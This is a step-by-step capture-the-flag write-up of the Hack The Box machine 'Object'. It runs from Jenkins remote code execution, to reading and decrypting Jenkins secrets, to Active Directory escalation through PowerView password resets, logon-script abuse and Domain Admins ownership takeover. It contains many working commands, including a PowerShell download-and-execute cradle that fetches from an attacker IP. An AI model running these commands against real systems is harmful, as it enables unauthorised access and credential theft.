35 HTB Object

1. Objectives:

```
    Jenkins Exploitation (New Job + Abusing build Periodically)
    Jenkins Exploitation (Abusing Trigger builds remotely Token)
    Firewall Enumeration Techniques
    Jenkins Password Decrypt
    Bloodhound Enumeration
    ForceChange abusing Password with Powerview
    GenericWrite abusing (Set-DomainObject -Setting Script Logon Path)
    WriteOwner abusing (Takeover Domain Admins Group)
```

2. NMAP

```
1. nmap -A -Pn -n -vvv -oN nmap/portzscan.nmap -p 80,5985,8080 object.htb
80/tcp open http syn-ack Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
http-methods:
 Supported Methods: OPTIONS TRACE GET HEAD POST
Potentially risky methods: TRACE
|_http-title: Mega Engines
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
_http-title: Not Found
8080/tcp open http syn-ack Jetty 9.4.43.v20210629
http-robots.txt: 1 disallowed entry
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
L_http-server-header: Jetty(9.4.43.v20210629)
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

- 3. He does a google search for Jenkins default password
- 4. He creates a Jenkins account with whatever name and pass

```
1, test:test123#!
```

5. We find the versions of jenkins in profile > builds

```
    Jenkins 2.317
    now click people, click admin, click my views Nothing
    Go to your profile > click configure
```

6. He tries a script alert tag on the name in profile > configure > name

```
    <script>alert("XSS")</script>
    FAIL
    So he clicks profile > my views > create a job > name it my project > then click ok.
    It hanged on me and would not let me click ok
    Ideleted my temp folder disabled my privacy badger and reloaded the page. Tried again and clicked ok and it worked
```

This box resembles HTB Jeeves

7. In HTB Jeeves we had to get admin and access /script page there is a console where you can paste code and get a reverse shell as administrator. The box on Object is not so easy. We can not access the /script page so I am watching a walkthrough by Allh4zr3d on YouTube.

```
    Allh4zr3d video link Funday Sunday: HacktheBox's "Object" on YouTube
    The Time Stamp is @:TS:01:15:00 where he is talking about this on Jenkins
    I have success in configure > build > windows batch command with the command cmd /c ping 10.10.14.2. I have set up tcp dump and I am getting a ping.
```

- 8. Watch S4vitaar walk though on HTB Object at time stamp @:TS:50:00 to see how he is able to curl the command instead of having it run every minute which is a pain. Using the curl command to execute the payload is much better.
 - 1. The POC (Proof of Concept) to see if our payload would be able to trigger using curl to curl our token payload worked.
 - 2. **This is the POC payload** cmd /c echo "can you read this"

10. Now we are going to try powershell whoami.

```
cmd /c powershell -c "whoami"
```

11. I forgot to mention once you configure your token and check remote build instead of build periodically the command to curl the payload should be like the one below.

```
curl -s -X GET "http://test:112cc2e9ac589f455f1d470a2bcf6f846e@10.10.11.132:8080/job/project2/build?
token=mytoken"
```

12. The command cmd powershell "whoami" was a success.

13. Next we try IEX as a POC for now.

```
cmd /c powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.2/test')
```

FAILS, this is probably why my attempts with my obfuscated powershell have failed as well something is blocking commands.

14. He attempts to enumerate the firewall to see what rules are blocking our request and what rules are allowing requests to go through the firewall.

```
cmd /c powershell -c Get-NetFirewallRule -Direction Outbound -Action Block -Enabled True

    Output

Started by remote host 10.10.14.2
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2
[project2] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins373661992964054436.bat
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>cmd /c powershell -c Get-NetFirewallRule -
Direction Outbound -Action Block -Enabled True
                    : {D6399A8B-5E04-458F-AA68-62F64A4F1F43}
Name
                    : BlockOutboundDC
DisplayName
Description
DisplayGroup
Group
Enabled
                   : True
Profile
                    : Any
Platform
Direction
                    : Outbound
Action
                    : Block
EdgeTraversalPolicy : Block
LooseSourceMapping : False
LocalOnlyMapping : False
0wner
PrimaryStatus
Status
                    : The rule was parsed successfully from the store. (65536)
EnforcementStatus : NotApplicable
                    : PersistentStore
PolicyStoreSource
PolicyStoreSourceType : Local
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>exit 0
```

- 1. Same command as before but action allow we are going to curl for now
- 2. cmd /c powershell -c Get-NetFirewallRule -Direction Outbound -Action Allow -Enabled True

16. Now we find the GPP policy that is blocking our requests

```
DisplayName : Active Directory Domain Controller - Echo Request (ICMPv4-Out)

Description : Outbound rule for the Active Directory Domain Controller service to allow Echo requests (ping)
```

```
1. So basically, only echo requests and pings are being allowed out!!! 👽 👽 👽
2. Do a google search for powershell display firewall rules names
```

18. I messed around for an hour trying to get the above command to work. I could not. I probably have some space messed up somewhere or a dot in the wrong place. I don't know powershell so trying to fix the syntax is a fail for me. I am going to do a simple 1s

```
Started by remote host 10.10.14.2

Running as SYSTEM

Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2

[project2] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins9806179754034452455.bat

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>cmd /c powershell -c "ls"

Directory:

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2

Mode

LastWriteTime

Length Name

---
-a----

10/8/2023 11:04 PM

0 0)po.write(si.read())

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>exit 0

Finished: .SUCCESS
```

19. We are going to try a directory traversal

```
cmd /c powershell -c "ls ../../"
```

20. Secret key, very cool I think we have found some good files to enumerate

```
Started by remote host 10.10.14.2
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2
[project2] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins14949067907147139638.bat
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2> cmd /c powershell -c "ls ../../
Directory: C:\Users\oliver\AppData\Local\Jenkins\.jenkins
Mode
                    LastWriteTime
                                          Length Name
                                                 jobs
                                                 logs
                                                 nodes
            10/20/2021 10:12 PM
                                                 plugins
                                                 secrets
                                                 updates
                                                 userContent
                                                 users
                                                 workflow-libs
                                                 workspace
                                               0 .lastStarted
                                              41 .owner
                                            2505 config.xml
                                             156 hudson.model.UpdateCenter.xml
                                             375 hudson.plugins.git.GitTool.xml
                                            1712 identity.key.enc
                                               5 jenkins.install.InstallUtil.lastExecVersion
                                               5 jenkins.install.UpgradeWizard.state
                                             179 jenkins.model.JenkinsLocationConfiguration.xml
```

```
-a---- 10/20/2021 10:21 PM 357 jenkins.security.apitoken.ApiTokenPropertyConfiguration.xml
-a---- 10/20/2021 10:21 PM 169 jenkins.security.QueueItemAuthenticatorConfiguration.xml
-a---- 10/20/2021 10:21 PM 162 jenkins.security.UpdateSiteWarningsConfiguration.xml
-a---- 10/20/2021 10:08 PM 171 jenkins.telemetry.Correlator.xml
-a---- 10/8/2023 4:48 PM 907 nodeMonitors.xml
-a---- 10/9/2023 1:56 AM 130 queue.xml
-a---- 10/20/2021 10:28 PM 129 queue.xml.bak
-a---- 10/20/2021 10:08 PM 64 secret.key
-a---- 10/20/2021 10:08 PM 0 secret.key.not-so-secret
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>exit 0
Finished: .SUCCESS
```

21. To cat out a file the command would be like below

```
1.** C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2> cmd /c powershell -c "cat
../../config.xml"
```

22. He gets into the users directory

```
1. C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2> cmd /c powershell -c "ls ../../users/admin_17207690984073220035
```

23. We found the config.xml for the administrator this is more likely to have passwords

24. Now if we cat out this file

```
1. C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2> cmd /c powershell -c "cat ../../users/admin_17207690984073220035/config.xml
```

25. We find a password for Oliver encoded in base64

- 1. But S4vitaar realizes it is encrypted
- 2. **Jenkins stores encrypted credentials in the** credentials.xml **file or in** config.xml. **To decrypt them you need the** master.key **and** hudson.util.Secret **files**.
 - 3. Jenkins credential decryptor GitHub page: https://github.com/hoto/jenkins-credentials-decryptor
- 3. This decryptor is coded in Go-Lang. I hate Go-lang, but it seems to work no problem. Here is the usage on this decryptor
- 4. \$./jenkins-credentials-decryptor
- 5. That will give you the menu. You must have Go-Lang installed. You can curl it or download the zip x64 doesn't matter.

26. He checks out the secrets directory with a traversal

```
    cmd /c powershell -c "ls ../../secrets/"
    Cat out the master.key file
    cmd /c powershell -c "cat ../../secrets/master.key"
```

27. We have the master.key

```
Started by remote host 10.10.14.2
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2
[project2] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins12801838108848101024.bat

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2> cmd /c powershell -c "cat
../../secrets/master.key
f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe734
14a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3
bd96d8321a2e19e2bf0c76fe31db19

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>exit 0
Finished: .SUCCESS
```

Find corruption or bad formatting that will cause your decryption or command to fail

- #pwn_corrupted_files
- #pwn_bad_formatting_of_copy_paste
- #pwn_copy_paste_bad_format
- 28. Here is a good example of exfiltrating a key but that key has a misformatted extra line at the end. This comes with experience and a person might wonder why the file will not decrypt for them. When they have all the syntax correct. Will the key file has an extra line

```
√/hackthebox/object ▷ wc -c master.key
257 master.key
~/hackthebox/object ▷ xxd master.key
00000000: 6636 3733 6664 6230 6334 6663 6333 3339 f673fdb0c4fcc339
00000010: 3037 3034 3335 6264 6265 3161 3033 3964 070435bdbela039d
000000020: 3833 6135 3937 6266 3231 6561 6662 6237 83a597bf21eafbb7
00000030: 6639 6233 3562 3530 6663 6530 3036 6535 f9b35b50fce006e5
00000040: 3634 6366 6634 3536 3535 3365 6437 3363 64cff456553ed73c
00000050: 6231 6661 3536 3862 3638 6233 3130 6164 b1fa568b68b310ad
00000060: 6463 3537 3666 3136 3337 6137 6665 3733 dc576f1637a7fe73
00000070: 3431 3461 3463 3666 6631 3062 3465 3233 414a4c6ff10b4e23
00000080: 6164 6335 3338 6539 6233 3639 6130 6336 adc538e9b369a0c6
00000090: 6465 3866 6332 3939 6466 6132 6133 3930 de8fc299dfa2a390
0000000a0: 3465 6337 3361 3234 6161 3438 3535 3062 4ec73a24aa48550b
000000b0: 3237 3662 6535 3166 3931 3635 3637 3935 276be51f91656795
000000c0: 3935 6232 6361 6330 3363 6332 3034 3466 95b2cac03cc2044f
000000d0: 3363 3730 3264 3637 3731 3639 6532 6634 3c702d677169e2f4
000000e0: 6433 6264 3936 6438 3332 3161 3265 3139 d3bd96d8321a2e19
0000000f0: 6532 6266 3063 3736 6665 3331 6462 3139 e2bf0c76fe31db19
00000100: 0a
                                                   . <=== This is the culprit
~/hackthebox/object ▷ master.key | xargs
zsh: command not found: master.key
~/hackthebox/object ▷ cat master.key | xargs
f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe734
14a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3
bd96d8321a2e19e2bf0c76fe31db19
~/hackthebox/object ▷ cat master.key | tr -d '\n' > master2.key
~/hackthebox/object ▷ xxd master2.key (It has too look clean like below)
00000000: 6636 3733 6664 6230 6334 6663 6333 3339 f673fdb0c4fcc339
00000010: 3037 3034 3335 6264 6265 3161 3033 3964 070435bdbela039d
00000020: 3833 6135 3937 6266 3231 6561 6662 6237 83a597bf21eafbb7
00000030: 6639 6233 3562 3530 6663 6530 3036 6535 f9b35b50fce006e5
00000040: 3634 6366 6634 3536 3535 3365 6437 3363 64cff456553ed73c
00000050: 6231 6661 3536 3862 3638 6233 3130 6164 b1fa568b68b310ad
00000060: 6463 3537 3666 3136 3337 6137 6665 3733 dc576f1637a7fe73
00000070: 3431 3461 3463 3666 6631 3062 3465 3233 414a4c6ff10b4e23
00000080: 6164 6335 3338 6539 6233 3639 6130 6336 adc538e9b369a0c6
00000090: 6465 3866 6332 3939 6466 6132 6133 3930 de8fc299dfa2a390
0000000a0: 3465 6337 3361 3234 6161 3438 3535 3062 4ec73a24aa48550b
000000b0: 3237 3662 6535 3166 3931 3635 3637 3935 276be51f91656795
000000c0: 3935 6232 6361 6330 3363 6332 3034 3466 95b2cac03cc2044f
000000d0: 3363 3730 3264 3637 3731 3639 6532 6634 3c702d677169e2f4
000000e0: 6433 6264 3936 6438 3332 3161 3265 3139 d3bd96d8321a2e19
000000f0: 6532 6266 3063 3736 6665 3331 6462 3139 e2bf0c76fe31db19
30. cat hudson.util.secret file
         1. ** cmd /c powershell -c "cat ../../secrets/hudson.util.Secret"
```

31. He does a google search for convert file to base64 powershell

```
[convert]::ToBase64String((Get-Content -path "your_file_path" -Encoding byte))
```

32. We combine that powershell command with our cat hudson.util.secret command to exfiltrate it into base64 so we can decode it properly.

```
1. cmd /c powershell -c [convert]::ToBase64String((Get-Content -path "your_file_path" -Encoding byte)) "cat
2. Now fix the command. Below is the correct way to get the file to render.
3. cmd /c powershell -c [convert]::ToBase64String((cat ../../secrets/hudson.util.Secret -Encoding byte))
```

33. Success exfiltrated the file using base64 in Powershell.

```
Started by remote host 10.10.14.2
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2
[project2] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins8205191177500912458.bat
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>cmd /c powershell -c
[convert]::ToBase64String((cat ../../secrets/hudson.util.Secret -Encoding byte))
gWFQFlTxi+xRdwcz6KgADwG+rs0Ag2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu2SHL930iRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJ
LPMWVUKqWsaMRH0kX30Qfa73XaWhe0ShIGsqR0VDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2LAORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKC
```

```
cY3uxVpxSgnUrMB5MX4a18UrQ3iug9GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzcpBZeiPbwhyrhy/mCWog
CddKudAJkHMqEISA3et9RIgA=
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\project2>exit 0
Finished: SUCCESS
```

34. Now we decrypt the password using Jenkins-Decryptor

Initial Foothold Evil-Winrm

35. We evil-winrm in with the oliver credentials

APPLOCKER and Windows Defender is always causing me trouble when I want to upload ingestors.

36. Here are the steps to import the sharphound.ps1 module and run it. It was not successful. I also tried Bloodhound-Python and It was also a fail.

```
    *Evil-WinRM* PS C:\> cd ProgramData
    *Evil-WinRM* PS C:\ProgramData> mkdir bh
    *Evil-WinRM* PS C:\ProgramData\bh> upload sharphound.exe
    *Evil-WinRM* PS C:\ProgramData\bh> upload Sharphound.ps1 (I meant to upload .ps1)
    *Evil-WinRM* PS C:\ProgramData\bh> Import-Module .\SharpHound.ps1
    ERROR: Unexpected token ':' in expression or statement.
    ERROR: Unexpected token ':"ADPentestLab.ps1"' in expression or statement.
    ERROR: Unexpected token ':false' in expression or statement.
    *Evil-WinRM* PS C:\ProgramData\bh> Invoke-Bloodhound -CollectionMethod All
    *Evil-WinRM* PS C:\ProgramData\bh> Import-Module .\sh2023.ps1
    *Evil-WinRM* PS C:\ProgramData\bh> Invoke-Bloodhound -CollectionMethod All
```

Basically, I could not get it to run no matter what I did.

37. Here is the command to download the *ingestor* as a zip file If I had gotten it to work.

```
1. *Evil-WinRM* PS C:\ProgramData\bh> download C:\ProgramData\bh\20220310133439_BloodHound.zip data.zip
```

UPDATE: If [Import-Module .\sharphound.ps1] fails then try [. .\sharphound.ps1]. This is from the [0xdf] walk through on this box HTB Object.

38. Here is how 0xdf gets sharphound.ps1 to execute on this box.

```
*Evil-WinRM* PS C:\programdata> upload SharpHound.ps1
Info: Uploading SharpHound.ps1 to C:\programdata\SharpHound.ps1

Data: 1298852 bytes of 1298852 bytes copied
Info: Upload successful!

*Evil-WinRM* PS C:\programdata> . .\SharpHound.ps1

*Evil-WinRM* PS C:\programdata> Invoke-BloodHound -CollectionMethod All

*Evil-WinRM* PS C:\programdata> ls
```

PROTIP

FORCE CHANGE PASSWORD

- #pwn_windows_AD_FORCECHANGEPASSWORD
- 39. Here is the list of steps using bloodhound that I was not able to do. So I am just copy and pasting the commands he tells me to paste and hopefully it works. If I keep having issues I will have to revert the box and try again another day.

```
    *Evil-Winrm* PS C:\ProgramData\bh> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
    *Evil-Winrm* PS C:\ProgramData\bh> Set-DomainUserPassword -Identity smith -AccountPassword $SecPassword
    If the password change was a success we should be able to login with Evil-WinRM into a session with smith user. This is called .ForceChangePassword.
    $ evil-winrm -i 10.10.11.132 -u 'smith' -p 'Password123!'
    SUCCESS!!!
    *Evil-WinRM* PS C:\Users\smith\Documents> whoami object\smith
```

40. Smith has GENERICWRITE on Maria. I think Maria is the DB.

```
1. I have no idea what he is doing I am just going along right now.
2. *Evil-WinRM* PS C:\Programdata\bh> Import-Module .\PowerView.ps1
3. *Evil-WinRM* PS C:\Programdata\bh> echo 'dir C:\Users\Maria\Desktop\ > C:\ProgramData\bh\output.txt' >
4. *Evil-WinRM* PS C:\Programdata\bh> Set-DomainObject -Identity maria -SET
@{scriptpath='C:\ProgramData\bh\test.ps1'}
*Evil-WinRM* PS C:\Programdata\bh> dir
Directory: C:\Programdata\bh
Mode
                  LastWriteTime
                                       Length Name
                                      830 output.txt
770279 PowerView.ps1
                                         122 test.ps1
-a---
5. *Evil-WinRM* PS C:\Programdata\bh> type output.txt
Directory: C:\Users\Maria\Desktop
Mode
                  LastWriteTime
                                       Length Name
                                           6144 Engines.xls
```

A file Engines.xls created

41. A file Engines.xls has been created

```
1. I am still very lost lol
2. *Evil-WinRM* PS C:\Programdata\bh> echo 'copy C:\Users\Maria\Desktop\Engines.xls
C:\ProgramData\bh\Engines.xls' > test.ps1
3. *Evil-WinRM* PS C:\Programdata\bh> type test.ps1
copy C:\Users\Maria\Desktop\Engines.xls C:\ProgramData\bh\Engines.xls
4. *Evil-WinRM* PS C:\Programdata\bh> dir
Engines.xls
5. *Evil-WinRM* PS C:\Programdata\bh> download C:\ProgramData\bh\Engines.xls Engines.xls
```

42. The Engine.xls file magically has credentials in it lol

```
Internal Combustion Engine: maria:d34gb8@
Diesel Engine: maria:W3llcr4ft3d_4cls
stirling engine: maria:0de_434_d545
```

43. This is the good username and password for an elevated evil-winrm session

```
    maria:W3llcr4ft3d_4cls
    ~/hackthebox/object D evil-winrm -i 10.10.11.132 -u 'maria' -p 'W3llcr4ft3d_4cls'
    Evil-WinRM shell v3.5
    Info: Establishing connection to remote endpoint
    *Evil-WinRM* PS C:\Users\maria\Documents> whoami object\maria
    *Evil-WinRM* PS C:\ProgramData\bh> Import-Module .\PowerView.ps1
```

Set-DomainObjectOwner

```
44. Set-DomainObjectOwner Identity to Maria
```

```
*Evil-WinRM* PS C:\ProgramData\bh> Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity Maria
```

Add-DomainObjectAcl

45. This next part should be the final command to give full priv to Maria user

```
*Evil-WinRM* PS C:\ProgramData\bh> Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity Maria
```

46. Now if you do a net user on Maria she should have Domain Admin

```
    *Evil-WinRM* PS C:\ProgramData\bh> net user Maria

                           maria
User name
Full Name
                           maria garcia
Comment
'Users comment
Country/region code
                         000 (System Default)
Account active
                           Yes
Account expires
                           Never
Password last set
                           10/21/2021 9:16:32 PM
Password expires
                          Never
Password changeable
Password required
User may change password
                           Yes
Workstations allowed
                            All
Logon script
                            C:\ProgramData\bh\test.ps1
User profile
Home directory
Last logon
                           10/9/2023 5:45:11 PM
                           All
Logon hours allowed
Local Group Memberships *Remote Management Use
Global Group memberships
                           *Domain Users
The command completed successfully.'
```

47. Actually 1 more step. We need to manually add Maria to the Group "Domain Admins". The above is Active Directory. The next command is a built-in generic requirement like in linux permissions. Add to group membership.

```
1. *Evil-WinRM* PS C:\ProgramData\bh> net group "Domain Admins" Maria /add /domain
```

PROTIP

TAKING TOO LONG

If you take to long to enter these commands you will get an Access Denied when trying to add your user to the Domain Admins group.
If it fails just redo all the commands quickly.

48. You have to be quick if not it will give you and access denied when trying to add user to Domain Group at the end.

```
*Evil-WinRM* PS C:\ProgramData\bh> net group "Domain Admins" Maria /add /domain
net.exe : System error 5 has occurred.
                     : NotSpecified: (System error 5 has occurred.:String) [], RemoteException
    CategoryInfo
   + FullyQualifiedErrorId : NativeCommandError
Access is denied.*Evil-WinRM* PS C:\ProgramData\bh> net group "Domain Admins" Maria /add /domain
net.exe : System error 5 has occurred.
                    : NotSpecified: (System error 5 has occurred.:String) [], RemoteException
   + CategoryInfo
   + FullyQualifiedErrorId : NativeCommandError
Access is denied.*Evil-WinRM* PS C:

    *Evil-WinRM* PS C:\ProgramData\bh> Import-Module .\PowerView.ps1

2. *Evil-WinRM* PS C:\ProgramData\bh> Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity Maria
3. *Evil-WinRM* PS C:\ProgramData\bh> Add-DomainObjectAcl -TargetIdentity "Domain Admins" -Rights All -
PrincipalIdentity Maria
4. *Evil-WinRM* PS C:\ProgramData\bh> net group "Domain Admins" Maria /add /domain
The command completed successfully.
```

49. I got denied and I then re-entered the commands quickly and it was successful that time.

```
*Evil-WinRM* PS C:\ProgramData\bh> Import-Module .\PowerView.ps1

*Evil-WinRM* PS C:\ProgramData\bh> Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity Maria

*Evil-WinRM* PS C:\ProgramData\bh> Add-DomainObjectAcl -TargetIdentity "Domain Admins" -Rights All -

PrincipalIdentity Maria

*Evil-WinRM* PS C:\ProgramData\bh> net group "Domain Admins" Maria /add /domain

The command completed successfully.
```

50. Now if we do net user on Maria you can see she is Domain Admin.

```
*Evil-WinRM* PS C:\ProgramData\bh> net user Maria
User name
                           maria
Full Name
                           maria garcia
Comment
Users comment
Country/region code
                        000 (System Default)
Account active
Account expires
                           Never
Password last set
Password expires
                         Never
Password changeable
Password required
                          Yes
User may change password
                          Yes
Workstations allowed
                           All
Logon script
                           C:\ProgramData\bh\test.ps1
User profile
Home directory
Last logon
                          10/9/2023 5:45:11 PM
                         All
Logon hours allowed
Local Group Memberships *Remote Management Use
Global Group memberships
                          * .Domain .Admins
                                                *Domain Users
The command completed successfully.
```

51. An interesting thing you have to log out and then log back in to assume the role of Domain Admin because the initial session was as a lower privileged user.

```
*Evil-WinRM* PS C:\ProgramData\bh> cd C:\Users\Administrator
*Evil-WinRM* PS C:\Users\Administrator> dir
Access to the path 'C:\Users\Administrator' is denied.
At line:1 char:1
+ dir
   + CategoryInfo
                       : PermissionDenied: (C:\Users\Administrator:String) [Get-ChildItem],
UnauthorizedAccessException
   + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
*Evil-WinRM* PS C:\Users\Administrator> exit
Info: Exiting with code 0
~/hackthebox/object ▷ evil-winrm -i 10.10.11.132 -u 'maria' -p 'W3llcr4ft3d_4cls'
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\maria\Documents> type C:\Users\Administrator\Desktop\root.txt
75be541486ce91ebb10a7f86e9792972
```